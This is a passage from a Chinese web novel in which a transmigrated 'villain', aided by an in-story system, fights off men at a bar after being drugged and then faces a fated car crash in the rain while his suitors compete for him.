认识五年从来没听这位爷骂过脏字,他还震惊于这家伙竟然也会骂人的恍惚中,就见盛衍猛地站起来,酒瓶被剧烈的动作碰倒,撑着桌沿的手背暴起明显的青筋。 朋友眼睁睁看他踹翻挡路的背椅,“衍哥!”朋友不知道发生了什么,伸手想去拽他衣角,被他毫不留情的狠狠撞开,手机屏幕摔落在地上,上面赫然定格着朗月现举起酒杯仰头喝下的画面。 —— 朗月现后颈突然泛起细密的痒意,像是有人拿着羽毛在脊椎骨上难耐的轻轻剐蹭。手心里泌出的汗珠打湿了握着的酒杯杯壁。身体也慢慢热了起来,他下意识松了松领口,蒸腾的热气从皮肤处涌出来,泛起不自然的潮红。 朗月现屈指蹭过自己发烫的喉结,在觉得明显不舒服的时候,他缓缓抬起眼睛看向四周,卡座里此起彼伏的吞咽声突然变得清晰可闻。 周围所有人看他的眼神明显已经变了,那些露骨的目光甚至不用朗月现多加分辨,黏腻的像蛛丝一般缠在他泛红的肌肤上。 “叮。” 朗月现拿起冰桶中的冰块丢进杯子中,酒液晃动着他自己扭曲的倒影。 冰块撞在杯壁的脆响里,朗月现看见自己上挑的眼尾泛着不正常的红,红唇竟然勾着原书里的那个恶毒反派特有的冷笑。 朗月现看见自己的倒影有一个瞬间突然扭曲成原书里那张阴鸷恶毒的反派嘴脸,可那幻象却在下一个眨眼间又消失不见,只剩冰球在杯底滴溜溜打转。 “真够老套的。”朗月现嗤笑出声,他意识到刚刚看到那个幻象是自己所处的小说维度世界中,原剧情里这一幕的残存景象。 朗月现明白过来,自己此时此刻已经完全身处世界意志所安排的最后一个剧情之中。 因为原世界的反派曾经设计过原书中那位主角受中药,让他被别人欺辱并拍下艳照威胁他,所以书里那些主角攻们选择报仇的方式就是一件件复刻原书中反派对主角受所做过的一切迫害。 那位「朗月现」会被他们拖到声色场所强行下药,在身心备受折磨之际,带着满身狼藉在某个大雨之夜被车子撞飞,死状凄惨。 周围这群人应该就是世界意志给他安排好准备欺辱他的演员们了。朗月现垂眸盯着自己因为药性而发抖的指尖,忽然低笑出声。 “朗少……热不热啊?”斜对角一个男人突然贴过来,他急迫的动作撞翻了冰桶,碎冰混着酒水泼了满地,水液四溅。 对方布满血丝的眼神活像饿了好多天,看他的神情似乎神志已经完全被世界意志操控住了。 四射的灯光在卡座上投下数道光影,映得周围七八张面孔如同带了鬼怪面具。朗月现眼看着刚刚还态度正常的几个人,此刻心底最难看的恶欲都被彻底勾了出来,涌动着被世界意志强行灌入的肮脏程序,满眼都是对眼前人的贪婪和邪念。 那带着浓重酒气的呼吸喷在他周围,手指就要伸向朗月现敞开领口的锁骨,“我帮您……” 朗月现突然想起原著里的「朗月现」被撕破衣服的情节,他眯起眼睛,手中的玻璃杯划出一道利落的抛物线。 男人话音未落就被玻璃杯壁狠狠砸中鼻梁,骨头断裂的脆响混着惨叫声,鲜血溅在他孔雀蓝的衬衫上开出了一连串的红花。 朗月现慢条斯理伸手抹掉唇角溅到的血珠,冷漠的看着捂着鼻梁满地打滚的蠢货,抬脚碾住对方的脸,鞋底的碎玻璃渣深深扎进皮肉。 伸手将自己的额发捋到脑后,看着对面这群因为自己变得异样潮红的脸色而一个个变了眼神的男人们,露出一个讥讽的笑容。 他解开两颗扣子慢慢起身,系统提示音在脑内叮咚作响,万能解毒剂的热流正从后腰漫向四肢,已经开始发挥效果,让他全身发软的无力感正在逐渐消失。 朗月现解开袖口将衬衫卷到手肘,露出小臂漂亮的肌肉线条,他抬腿踩上茶几,牛仔裤绷出充满力量感的弧度。 他隐隐能听见酒吧外好像传来闷雷的声响,要下雨了。 朗月现慢慢揉了揉手腕,抬起头对着虚空中的世界意志,露出一个绝非善意的笑容:“混球,你以为老子学自由搏击是为了什么?” * 原书中大结局的雨夜,朗月现真实的开始经历这一场景的时候才知道,原来原书中反派的最后一夜其实是书中的主角们全员到场。 「朗月现」被雨水泡发的指尖抠进马路裂缝里,豆大的雨点砸在柏油马路上溅起混着血的水花。左腿不自然的扭曲着,每往前爬半步都会扯到肋骨折断的伤口,疼得连喉咙都发不出完整的呻吟。 他知道那些人在看。 斜对角的屋檐下站着的穿驼色风衣的身影,不远处黑色迈巴赫后座半开的车窗飘出雪茄的青烟,十字路口监控摄像头诡异地转动着合适的角度。 这些藏着暴雨里的眼睛,此刻应该正欣赏着他难以直视,往前蠕动的可悲姿态。他们各自躲在暗处,眼睁睁的看着自己拖着被玩弄的凄惨恶心的身躯,满心恐惧着在大雨中一步步爬向世界给他这个跳梁小丑安排的荒诞结局。 眼皮肿得只剩条缝,血水混着雨水不断往眼睛里渗。忽然有道刺目的光劈开雨幕,一道极为明亮的白光,晃得他条件反射地仰起头,如同灯塔在暴风雨的肆虐下毫无阻碍的破开重重水雾,为海上迷途的船只指引回家的归途。 那道白光也破开了「朗月现」阻止他正常视物的肿胀眼皮,刹那间溢满了他的眼缝。 他看见无数雨丝在光束里织成发光的蛛网。 远处传来金属引擎的轰鸣声,轮胎碾过积水的声响越来越近。他突然想起小时候看见院子里扑向吊灯的飞蛾,奋不顾身撞碎在滚烫的灯泡上,他问妈妈这是为什么? “它傻不傻?”他拽着母亲的裙子问。身后传来令人心安的熟悉气息,母亲的手指拂过他的发顶,柔声说,那是它选的光。 此刻自己正用同样愚蠢狼狈的姿势朝着光源挪动,被血糊住的嘴角扯出个已经明了的笑。 这就是自己的谢幕了,像迫切向往光明的扑火虫豸。 神明啊,不管您是否仁慈,至少最后一刻,我扑向了光。 他艰难的抬起头,向那道白光看去。 那是来拯救我的光吗? “嘭!” 刺耳的橡胶摩擦声炸响时,他闻到了轮胎焦糊的味道。骤然间,□□在半空中旋转,扭曲,然后重重落在地上,翻滚,停息。 眼前的白光迅速被黑红的颜色覆盖。 身体突然变得很轻,景象在眼前突然变得很慢,像是按下了静止键,雨滴悬浮在空中变成颗颗散落的钻石。 他伸手想去接,却发现自己无法控制身体了。 落地时最先着地的是右手腕,他听见自己骨头碎裂的声响,很有趣,像被咬碎的草莓硬糖。 血从额角淌进耳朵里,雨声变得闷闷的。 啊…… 他试着动了动嘴唇,混着雨水的血淌进嘴角。 真咸啊。 最后一丝意识消散前,他心想,那确实是来拯救我的光。 也不赖。 第五十七章 这雨为了衬托氛围,越下越大 朗月现挂掉电话, 抬手按下手机锁屏键,系统投影在他视网膜上的血腥画面正好播放完毕。 他倚着潮湿的砖墙,用鞋尖慢慢踢开脚边的空易拉罐:“高清版确实比原版有趣。”铁皮罐子滚过积水坑时发出清脆的咕噜声, 和刚刚眼前车轮碾过碎骨的声音微妙地重合了。 朗月现恶趣味的要求系统在这个特殊的日子里,给自己再次重新播放一遍原书中「朗月现」的结局画面, 还必须要去掉马赛克版本。 再看一遍依旧是非常有趣啊,朗月现勾着唇笑得恶劣。别说,场面凄惨美丽又荒诞,如果把这一幕放进电影中,怎么说也能获得某些影视大奖的最佳镜头奖提名吧。 而此刻。 朗月现懒洋洋的收敛起笑意,这么大的雨, 他除了裤脚,身上连点水滴都没有。 雨丝在酒吧后巷的霓虹灯中织成五彩斑斓的网, 他抬眼望向对面。黑伞倾斜着笼罩过来,伞骨上滚落的雨珠连成银线。 本应该光鲜亮丽地享受被所有人的爱意包裹着的原书主角受,此刻正浑身发抖地站在他的对面,将那把很大的黑伞完全倾斜向自己, 自己则狼狈站在雨中全身湿透, 朗月现歪了歪头打量浑身湿透的盛衍,对方昂贵的风衣吸饱雨水,能闻到他身上浓重的威士忌味混着雨水腥气,额发黏在惨白的脸上,像是完全被大雨打蔫了一般:“这是干什么?” 盛衍紧紧盯着朗月现,攥着伞柄的指节用力到发白,仿佛少看一眼他就会从自己面前头也不回的离开。伞面被攥得微微发颤,他眼眶通红,肩膀微微耸动, 像是在努力压抑着心中即将喷涌而出的情感。 照片里那张被众人围困的侧脸,此刻正鲜活地倒映在他瞳孔里。 看到那张照片后盛衍几乎是疯了一般的冲进酒吧大厅,他踩着满地狼藉的玻璃渣冲进酒吧大厅,空气里还飘着浅浅的血腥味。 几个衣着光鲜的男人歪七扭八的躺了一地,狼狈不堪地蜷缩在卡座边呻吟,站着的只有正在处理现场事故的酒吧员工,朗月现并不在其中。 “人呢?”他抓住最近的服务生,攥着对方衣领的手青筋暴起,“那个长得很漂亮的男生呢?穿黑色皮衣的那个……” 服务生被他的眼神吓得直摇头,表示自己不知道他在问谁,盛衍慌不择路的又扯起地上的一个人,毫不在意形象的低声怒吼:“他人呢?朗月现人呢?” 被他扯起来那个人刚好是关乔,他完全是被其他人拖累了,在别人都去接近朗月现的时候他连动都没敢动。 当他站起来试图拦住其他人时,被朗月现先发制人一脚踢在他的腹部,喝的那些酒水差点当时全部喷出来。 关乔此刻正蜷在地上难受的想死,领口歪歪扭扭勒着发红的脖子,盛衍一把拽起他时,他差点一口酸水吐到人家鞋子上。他捂着被踹得翻江倒海的胃部,整个人皱着一张脸苦不堪言,颤抖着手指指了一个方向:“……好像往后门那边走了。” 盛衍追出去才听见外面声声闷雷,门外的穿堂风卷着星星点点的湿意扑面而来,似乎马上就要下起大雨。看着外面的恶劣天气,他心跳一阵快过一阵,恐怕下一秒中了药还将要雨淋湿的朗月现会出什么意外。 盛衍扯过酒吧门口放置的雨伞跑了出去,差点被自己慌乱的脚步绊倒,还好关乔给他指的方向正确,没跑几步就看见后巷尽头的路灯下立着道修长身影。 朗月现举着手机贴在耳边,不甚明亮的灯光将他脸上的笑意映得冷淡又疏离。 “嗯……那你过来吧。”带笑的声音混着晚风飘过来,朗月现脚尖正碾着一个铁皮易拉罐在积水里画圈,“我先在这儿等着。” 盛衍冲进巷子里时,正好听到朗月现答应着挂了电话,听到声音后转头看向了他。盛衍踉跄着刹住脚步,慌张到完全无法掩饰的神色让朗月现瞬间明白过来。 “那药是你下的?” 不是!盛衍刚想否认,却意识到朗月现会误喝下掺了药的酒和他脱不了干系,即使他原本是想对朗秉白下手,但整件事就是因为他促成的。 有星星点点的细小雨水开始砸进积水坑,盛衍看着朗月现松开的领口泛红的皮肤,喉咙里哽着沙砾般粗砺的喘息。他毫不犹豫地举起手,当着朗月现的面狠狠给了自己一巴掌,清脆的巴掌声响彻整个僻静的后巷。 “小月……”他伸手想碰对方衣袖,又在半空中僵住。雨水顺着他的下巴滴在两人之间的水洼中,“那杯酒……是我的错,但是小月,这不是我本意,我没想到……” 惊雷在头顶炸响的瞬间,大雨滂沱而下。盛衍立刻将伞打开完全罩住对方。雨水顺着他的脊梁灌进后颈,浸透的衣服贴在身上,激起冰凉的寒意。他死死盯着朗月现,仔细打量着他的脸色。 “你嘴唇都咬破了。”他突然发现朗月现下唇有道新鲜血痕,举着伞的手腕突然抖得厉害:“是不是很难受?那些杂碎碰你了吗?” 巷子里传来酒瓶被雨水打翻倒地的脆响,盛衍以为有危险,条件反射将人往身前挡,在朗月现慢悠悠看过来时才惊觉这个下意识的保护动作在刚刚差点被他伤害到的人面前有多可笑。 “算我求你了小月,”盛衍缓缓吐出一口气,上前一步,湿透的手不敢碰他,只能用眼睛一遍一遍上下检查着:“我不清楚那种药的药效,你听话,咱们先去医院,检查完后要杀要剐都随你开心好不好?” 朗月现看着他,忽然伸手替他发抖的手扶正了伞柄,微凉的指尖在他用力到绷出青筋的手背一触而过。 朗月现将手收回插进裤兜里,云淡风轻地慢慢摇了摇头:“我没事,这个药对我没什么作用。刚刚程澈打来电话说周闻铮找不到我,正发疯呢。我让他们过来了,得在这等他们一会儿。” 盛衍的脸色一下难看起来。 听到那些家伙要来,盛衍一下有些慌了神,害怕朗月现会跟他们头也不回地离开。“小月……你,原谅我好不好?”平日里如同清泉落石的悦耳声音,此刻喑哑的厉害。 他伸出空着的那只手,试探着想拽住朗月现的衣角,他不敢去拉他的手,盛衍哽咽得几乎说不出话,他努力平静,眼中都是颤抖的哀求。 “求求你,不要离开我。” “不要……” 他话音未落,巷口突然传来急刹车的摩擦声,灯光刺破雨幕,车还没停稳就跳下来个黑影。有人大步从身后跑了过来,盛衍听到声音,通红的眼眶中委屈伤心的光一瞬间变得厌恶又恨毒。 哇欧,朗月现站在他正前面,将这段堪称一绝的变脸看了个清清楚楚。他饶有兴味的眼神一下提醒了盛衍,盛衍一下慌乱起来,眼神闪烁几下,张嘴就想解释:“不是的小月,我……” 但朗月现的目光已然被赶来的这个人吸引到了一边,盛衍握着伞的手用力到微微颤抖。 程澈连把伞都没打,就这么跑了过来,他看都没看盛衍一眼,仿佛那就是个朗月现用来避雨的屋檐。 “阿月!” 程澈直到看见朗月现完好无所地站在伞下,才终于放下高提着的心,心神一晃差点腿软跪坐在污水横流的地面上。 半个小时前他还在宿舍里正在修改论文,突然莫名感觉到强烈的一股心慌。 他揉了揉眉心,按住突然狂跳的右眼皮,直觉是不是出了什么事,宿舍门就被周闻铮大力推开了。 周闻铮满头大汗,神色难得一见的慌乱,右手紧紧攥着的手机屏幕似乎已经被他捏出裂痕,左手手背关节还在往外渗血。 周闻铮充血的眼球扫过朗月现空荡荡的床铺,突然揪住自己领口大口喘气,像是有人往他肺里灌了水泥,他从来没有这么迷茫失措过,简直控制不住自己那即将要爆发的暴怒混着极度混乱的心情。 能让周闻铮急成这样的只有那个人,程澈“腾”地站起来,膝盖撞翻椅子,论文资料哗啦啦散了一地。应昭也吓了一跳,游戏机啪嗒摔在地上,担心地看向门口的两个人。 程澈心跳骤然加速,死死盯着周闻铮手里的手机:“阿月怎么了?” 周闻铮本来想转头就走,奈何实在是心慌的不行,觉得能多一个人找朗月现都是好的。 周闻铮午睡时突然被一个记不清内容的噩梦惊醒,这是他有生之年第一次被噩梦吓醒。空调被被他踹到了床底,后颈黏着冷汗把枕头洇湿大片。 他盯着天花板上的吊灯出神,耳边还残留着梦中哗啦啦的雨声。 只记得梦里瓢泼大雨,有个身影在雨里艰难的爬行,他本来觉得内心一阵畅快,却总忍不住想上前看清那人的面容。 可是雨太大了,下的他越来越烦躁,正当他要离开那个让他心烦的地方时,抬起头却发现「朗月现」正以一种奇怪的姿势站在他面前,周闻铮还没来得及开心,却发现这个「朗月现」全身湿透,狼狈无比,眼神是他从未见过的怨毒,声音里带着无边的愤恨:“你为什么不救我?” 周闻铮浑身冷汗吓醒时,脑子还没反应过来手已经摸向了旁边放置的手机。期间不小心碰翻了床头柜上的瓷器装饰,破碎的瓷瓶在他手背狠狠划出一道血口。他恍然不觉,只一味的给朗月现拨打电话。可无论他打了多少次,手机那头只有机械女声提示无法接通。 “操!”周闻铮简直要疯了,他抓起车钥匙就往楼下冲,期间还在不断拨打朗月现的电话,却怎么也打不出去,每次刚要接通就会断线,像是有一股力量屏蔽了他的手机信号。 周闻铮只能开着车到处找,他一秒也等不了,已经快被朗月现的莫名消失逼疯了,在嘱咐程澈找到朗月现第一时间通知他后,紧接着便飞快地离开了。 说来也奇怪,周闻铮怎么也打不通的电话程澈瞬间就拨通了,电话那头朗月现的语气很有趣,他先是笑了笑,表示知道了,然后报了自己的位置,让程澈直接通知周闻铮过来。 挂掉电话,朗月现看着满屏周闻铮的未接来电,回忆了一下自己当时在干嘛,应该是刚好在用拳头砸开某个人的鼻梁骨。 周闻铮从噩梦中惊醒就一直在打朗月现的电话,而刚好处于酒吧剧情点里的朗月现的手机信号被世界意志完全屏蔽了,估计是防止剧情中此刻应该被人欺辱的「朗月现」拨打出去电话找人救他,剧情节点就混乱了。 当朗月现出了酒吧之后,程澈的电话刚好打进来,正巧被信号恢复的朗月现接收到给接了起来。朗月现倚着墙轻笑,和脑海中的系统对话:“世界意志都多大了还玩屏蔽信号让人自己找过来这一套?” 面对最终结局,系统不像朗月现这么云淡风轻,它紧张的要死,不想理会朗月现的调侃,哭唧唧的回道:“世界意志就是个一根筋的蠢货,宿主你别笑了,世界意志强行修正剧情线,主角马上全员到场,我们的生死局就要开始了。” “宿主,你不要害怕,宝陪着你呢。” —— “阿月,你没事吧。”程澈把湿透的卫衣袖子卷到手肘,露出被冷水激得发红的结实小臂。 “嗯。”朗月现微一颔首回应,灯光下镀了层碎金的纤长睫毛也顺着他的动作抖了抖。程澈喉结动了动,指尖在裤缝蹭了蹭掌心的雨水。 本想靠近检查一下他有没有事,又怕自己浑身湿漉漉的弄脏了他的衣服,所以只是站在一边,又仔仔细细上下打量了一番。 确认朗月现确实一切如常之后,才老老实实* 的站在一边,把淋湿的发丝像后捋了一把,露出光洁的额头。 朗月现随着他的动作看了他一眼:“怎么也不打个伞?” 听到朗月现似乎是关心的问话,程澈开心的不知道怎么办才好。他笑的见牙不见眼,小虎牙颇为讨喜的露出来,湿漉漉的头发被他摇头的动作甩得像金毛抖水。朗月现甚至都能幻视他身后那条金毛尾巴摇的跟螺旋桨一样欢快:“我没事的!跑太急忘了拿了,火力壮,不碍事。” 朗月现可有可无的弯了下嘴角,下一秒衣角就被一股力道微微扯住了。 朗月现顺着看过去,就见盛衍扯住他的衣角,力道轻的像是被雨淋湿可怜兮兮的丧家犬。 盛衍眼睛通红,仿佛随时都要落下泪来,声音低沉又颤抖着,鼻音混着雨声,每一个音调都蕴含着深深的委屈:“小月……” 太好懂了,连朗月现这个丝毫不会看人脸色的人都看明白了,那张被雨打湿的脸上每一丝神情都在极其委屈的控诉:我也淋湿了,你怎么不关心关心我? 程澈面无表情的看着朗月现那被淋湿的指尖用力绞着的衣角。 把阿月的衣服都弄脏了,真恶心。 他在看向朗月现时将情绪隐藏的很好,依旧是那副乖顺的模样,在大雨中依旧笑得灿烂:“周哥说已经在路上了,马上到。” 明媚的向着主人展露笑容的大金毛心里想得却是:如果一会儿这两个人打起来了,自己要不要象征性的叫个救护车呢。 程澈不自觉地往朗月现身边又走近了些,直到能闻到那股熟悉的玫瑰花香,才安心又幸福的摇着尾巴停下。 他突然扭头对着盛衍露出虎牙,在朗月现看不见的角度,皮笑肉不笑的用口型无声地说:“你、挡、路、了。” 那看着盛衍厌恶到扭曲的眼神,目光冰冷又阴沉,哪还有半点在朗月现面前的乖顺阳光。 还是算了吧,程澈心里想着,至少要先打趴下一个再打电话,要不然多可惜。 * 朗月现垂眸看着积水里破碎的灯光倒影,雨点搭在水洼里溅起细小的水珠。他屈了屈手指,方才揍人时用力过猛的指关节还在隐隐作痛。 其实朗月现真的不在乎这些主角之间互相怎么敌视,撕打,仇恨,明争暗斗,头破血流,这些可笑的争吵在他看来不过是一场同他毫无关系,浮光掠影的荒诞闹剧。 如果不是这次祸事殃及到他自己身上,这些原书中高高在上,用尽手段致使反派达成悲惨死亡结局的主角们,就算打死一两个,他都可以做到完全冷眼旁观。 虽然知道是因为世界意志作祟,才使得自己被迫中药,但是朗月现还是很不爽。 他想起那些恶心的目光在他身上流连的样子就难掩生理性反胃,抬眼看了看对面小心翼翼,用祈求的眼神看着自己的罪魁祸首。 盛衍整个人都被雨水浇透了,发梢不断往下淌水,却还固执地把伞整个倾斜向他这边。 啊,果然还是很想迁怒啊。 哪怕再后知后觉的人,也能在朗月现此刻的目光中感受到极其不虞的冷淡,盛衍僵直着身子,脸色在大雨中愈发苍白。 他甚至不敢将雨伞稍微放正一些,做出那种事竟然差点害到了心上人,强烈的悔恨和怒火简直要将他撕碎,恨不得将当时在场所有的人全部杀掉。 他后怕到咬紧舌尖,咬出血来才堪堪止住颤抖,他怎么配打伞呢。就算天上下的是刀子,他站在那受着千刀万剐,也抵不上他从照片中看到朗月现喝下那杯酒时心中灭顶的惊惧和愤怒。 还有一些不能明说,让他现在想来都觉得羞愧的卑劣心思……他神情凄切的想着,自己淋着雨湿透的样子是不是能看着更可怜一些,让小月稍微能够再心软一点呢。 “伞放正。”朗月现突然开口。 盛衍浑身一颤,手中慌张的一抖,伞面甩出串水珠,几滴水珠正巧落在他通红的眼眶下,衬得像是哭过一样。 他难掩痛苦的阖了阖眼,强忍住那股酸涩感,声音沙哑又疲惫:“小月……我知道你不想听我的解释,我也不能分辨什么,但是我求你……无论如何,我都不可能去主动伤害你,这件事只是个……” 程澈的动作突然打断了盛衍的小声解释,他熟稔地替朗月现擦去刚刚不小心溅上鬓角的雨水。 指尖蹭过朗月现耳后的发丝,动作熟练得像做过千百遍。而朗月现似乎非常熟悉对方的照顾行为,任由他动作,丝毫没有避开的意思。 两个人互动亲密又自然,盛衍感觉一股委屈嫉妒的酸水涌上心头,死死堵住了他的喉咙,连喘息都变得艰难起来。 朗月现完全没有在听,他表情淡然的看着面前越下越大的雨幕,周边除了几个昏黄的路灯,连个避雨的屋檐都没有。 声色场所的后街口,在大雨天,连只野猫都不会路过。 生锈的铁皮垃圾桶被风吹得咣当摇晃,雨点砸在上面闷鼓般咚咚作响。朗月现看着盛衍的嘴张张合合,那些剖白心迹的话全被雨水搅成模糊的杂音。 他将盛衍时不时间断的解释当成背景音,百无聊赖的伸出手接着雨水,在脑海中跟系统对话:“撞我的那辆车还来不来了,怎么这么墨迹,消极怠工吗?” 系统:“……” 它家这位着急下班,上赶着找死的宿主确实也是稀有物种,系统也不知道怎么回答这个问题。 在原书中,撞死宿主那辆车是某个主角攻安排的,但如今这些主角攻是绝对不可能去伤害朗月现的。 只不过世界意志依旧存在,只要没度过这个必死的雨夜,世界意志就会想尽办法将原书的剧情走完。所以系统也不知道,这辆会结束这一切,用来行凶的车到底会不会出现,会怎么出现。 系统犹豫的开口:“按剧情来说,应该就在这几分钟了……宿主你还是要小心些。” 朗月现走到今天,已经完全能感受到世界意志那无论如何一定要强行过完原书剧情的倔强。他从中药,解药,走到后街口,遇到主角几人,站在这听他们絮叨,统共也就二十分钟。 朗月现知道,之所以现在他还安全着,纯粹是因为他现在身边围着两个世界意志轻易动不了的主角。 但凡主角们晚来个几分钟,让他顺利的一个人走到街尾,那辆现在迟迟未到的车,此刻早就被世界意志绑架着,强行给自己撞飞到天上去了。 所以一直站在这淋雨听他们讲话,倒也不是什么奇怪的癖好,朗月现是选了一种存活率最大的方式跟世界意志进行对抗。 只不过,听系统的意思,主角们的保护圈也不能阻止一根筋的世界意志准备强行走剧情了。 这雨为了衬托氛围,是越下越大。 终于,三分钟后,那道会解放自己,解放所有人的白光伴随着刺耳的鸣笛声,闪亮登场了。 第五十八章 放心,我会处理好的 程澈被那道刺眼的远光灯照得眯起了眼睛, 雨珠不断砸在睫毛上模糊了视线,雨幕中的光柱像把雪亮的刀,劈开了粘稠的夜色。他往朗月现身前挪了半步, 用自己的阴影挡住了毫不留情照在朗月现身上的光。 他皱着眉,抬手挡在眉骨前, 指缝间漏下的光刺得眼球发涨:“是周哥吗?” 盛衍却冷下了表情,他敏锐的察觉到那束远光灯直直打在人身上的恶意,他眼角还泛着红,表情却阴沉下来。 不对劲,这种直直打在人身上的远光灯恶意太过明显,像是猎手锁定了猎物一般。 那绝不是周闻铮, 那家伙怎么可能舍得用这种刺眼的光去晃小月的眼睛。 后颈的汗毛突然立了起来,盛衍感觉到自己太阳穴开始剧烈跳动, 骤然间升起一股很强烈的不详预感。 那,又会是谁在这种时候出现在这个地方呢。 朗月现莫名觉得有些兴奋,那辆车上的人会是谁呢?程澈太高了,挡在他面前什么也看不见。雨水的咸腥混着程澈体温烘出的皂香钻进鼻腔, 他下意识扒着程澈的肩膀探出头好奇的向那边看去。 就在他做完这个动作的下一秒,那辆在雨夜中看不清样子的车骤然间动了。 轮胎飞转着碾过积水,马达剧烈的轰鸣声一瞬间在空旷的街口炸开,那辆车目标明确的向他们极速飞驰而来,速度快得根本难以反应,程澈觉得自己只是眨了一下眼睛,那辆车就已经冲到让他肾上腺素飙升的地方。 “月月!” 不知是谁嘶吼了一声,声音里的惊恐撕心裂肺,令所有人的心顿时提了起来。 车速快到程澈根本没有时间反应,他脊背肌肉瞬间绷紧, 几乎是条件反射般的扭过身,转身时带起大片的雨水,他本能地收紧手臂将人往怀里按。 朗月现的侧脸撞上他的胸口,温热的吐息透过衣服渗进皮肤,程澈只能完成这个转身搂抱的动作,甚至没有足够的时间抱着朗月现就地滚开,躲避撞击。 朗月现被狠狠抱住的一瞬间还有功夫在心里琢磨。他心想,这辆车是不是改装过,灯这么亮,提速这么厉害。 紧接着,朗月现探出的眼睛就从被紧紧拥住的滚烫怀抱之外,眼睁睁看着盛衍站在他们两人身后,伸出手,猛地推了程澈的后背一把。 盛衍推人的力道大得离谱,他几乎是扑过去用整个身体的重量撞向两人交叠的身影。程澈护着人的手臂狠狠撞上湿漉漉的沥青路沿,手背擦过地面带起一串血珠,却仍死死将朗月现的脑袋护在怀里。 朗月现在天旋地转间听见金属变形的尖啸,他想的没错,那辆车就是改装过发动机,速度快到让人最多只来得及做出一个动作。 程澈选择转身将他死死护在了怀里,而盛衍选择将紧紧搂在一起的两个人,从车子的撞击路线上用力推开。 安全气囊爆开的闷响混着挡风玻璃碎裂的脆响,飞溅的雨水中突然多了股明显的铁锈味。他蜷在程澈剧烈起伏的胸膛前想,原来人在生死瞬间真的会闻到血的味道。 “嘭!” 熟悉的剧烈撞击声,只不过这次不是从脑海中听到,而是清晰的在朗月现的耳边真实的炸响。 * 撞了车之后整个世界突然时间静止。 不是主观意义上的静止,而是就连雨滴都变成一颗颗透明的珠子,静静的漂浮在半空中,折射着车灯扭曲的光晕。 朗月现恶趣味的用食指戳碎了一颗,看着水珠分化成更细小的水珠,四散在空气中缓慢旋转出晶亮的螺旋。 有系统这个不属于维度世界的外来生物的加持作用下,朗月现是唯一一个能在静止的世界里行动的生命体。 他艰难的从程澈的怀抱中挣脱出来,真的很是费了一番力气,紧扣在他腰后的手掌像铁钳一般牢牢控住了他,让他不能动弹分毫。 程澈完全是下意识在用命去保护他,那个拥抱紧到恨不能将他揉进自己的骨血中。 他起身,看见周围堪称惨烈的一幕,呼吸顿了顿。 程澈搂着他摔向地面,护着他后脑的手被粗粝的地面划得皮肉外翻,静止的血珠凝固在男人手背狰狞的伤口上,另一只手还不忘垫在他后腰与地面之间。 而将他们从死亡路线上推开的盛衍被车正面撞击,整个人飞出去十几米远,路上拖出长长的血痕,他正面朝上,满脸的血看不清面容,闭着眼安静得躺在血泊中。 看着眼前的一幕,朗月现静静地站了一会儿,脸上表情慢慢消失,他缓缓吐出一口气,眼神复杂难辨。 朗月现弯腰捡起滚落脚边的半片镜框,金属边缘沾着温热的血。他对着镜片哈了口气,看着自己睫毛在静止的水雾中凝成细小的冰晶。 他极轻极轻地发出一点气声般的笑:“真狼狈啊。” 他抬手捋了捋凌乱的发丝,拨开面前的凝固的雨帘,先往他最好奇的地方走去。 鞋子踩过路上悬浮的血滴时,那些暗红色的珠子便顺着气流缠绕上他的裤脚,在深蓝色的布料上晕开褐色的花。 改装车的引擎盖扭曲成怪异的弧度,朗月现俯身时闻见焦糊味混着血腥气,呛得喉咙发痒。即使安全气囊都弹了出来,驾驶座上的人依旧保持着双手紧握方向盘的姿势,朗月现伸手拨开气囊褶皱,想看看这个迫切想要结束他生命的人到底是谁。 而他在看清司机面容的瞬间瞳孔微微收缩。 ……实在是他完全想不到的一个人。 朗月现维持着弯腰的姿势僵硬了十几秒,直到有颗悬浮的雨珠撞上他颤动的睫毛。 他缓缓站直身子,后仰起头,手掌揉了揉仰起的后颈。 他突然有些迷茫,内心深处涌起一股有劲都不知道往何处使的无力感。 转身时朗月现下意识偏头,瞥见巷口凝固的画面:周闻铮不知道什么时候来到了这里,他姿势怪异,前倾的身体像是要起跑一样。机车头盔甩在五米开外的水洼里,发达的小腿肌肉绷紧的弧度将被雨水浸透的牛仔裤撑出凌厉的线条。 最刺眼的是那双通红的眼睛,充血的眼白里凝着将坠未坠的泪。 扭头看过去的这个视角正好能看见周闻铮瞪大了一双眼睛,目眦欲裂,那眼神无比绝望,死死的盯着自己,暴起青筋的手正对着自己的方向虚抓,手背上一道明显的伤痕被雨水泡的发白。 朗月现眨了眨眼,心里莫名涌起一股很奇怪的感觉,突然觉得喉咙发紧,像是冰凉的雨水顺着脖颈往心口渗。 他绕过满地狼藉,站在周闻铮面前,伸手在他眼前晃了晃,悬浮的雨珠随着动作卷起细小的气流:“喂,你就算冲过来也来不及的。” 在周闻铮的视角里,自己估计已经是离死不远了。朗月现盯着对方凝固在眼角的水痕,分不清是雨水还是没掉下来的眼泪。 不接他电话,还让他亲眼看到自己临死前的画面,多少是有些…… 朗月现喉结无意识滚动了一下,像是咽下了某种酸涩的液体,胸口惶惶有些不舒服。 他有些心虚的揉了揉鼻尖,后退两步拉开距离,轻咳一声,“现在怎么办?”他问系统。 系统已经吓到失声了,听到朗月现问话才回过神来,它强撑着支棱起来,去检测维度世界的情况,声音像是被掐住脖子一样结结巴巴道:“我、我这就检……” 刚碰到检测按键,下一秒系统眼前一黑,强制关机之前它只有一个念头:“靠!又来这套!” 主系统毫无情绪起伏的冷漠男声突然切入接替了系统的声音,熟练的接过系统的下线前的动作,操纵着检测台,续上了扫描进度:“世界意志检测到维度世界唯一的中心,原书主角受即将失去生命体征,强行暂停了时间。”声音顿了顿补充道:“就像是人类社会电脑死机时按的紧急保存键。” 朗月现对主系统的神出鬼没多少已经有了一些心理准备,他垂下头无奈的勾了勾唇,语气玩味道:“是不是只要有什么重要事件,你就出来抢我们家小东西的活啊?影不影响它的考核啊,报酬记得打双倍。” 主系统难得的卡壳似的沉默了两秒:“……不是顶它的功劳,它的报酬会按时交付。”顿了顿又说道,“我只是有些……不放心。” “怕我把这破世界玩崩了?”朗月现以为主系统说的是不放心维度世界的运行情况,“放心,我还没那么无聊……” 主系统:“我是说担心你的安全……” “不过你来了也好。”朗月现这时又抬头看了看静止的天空,没等主系统说完便问道:“那现在是什么情况,世界意志发现覆水难收索性直接摆个大烂,当个缩头乌龟准备让这里一直这么静止下去了吗?” 主系统顿了一下,把没说完的话咽了回去,默默的恢复公事公办的语气:“不会,世界意志虽然只是一个会按照固定剧情走流程的无情感模块类程序,但是他能做到的比你想象的要多的多。整个维度世界除了你,都是由它操控的。” 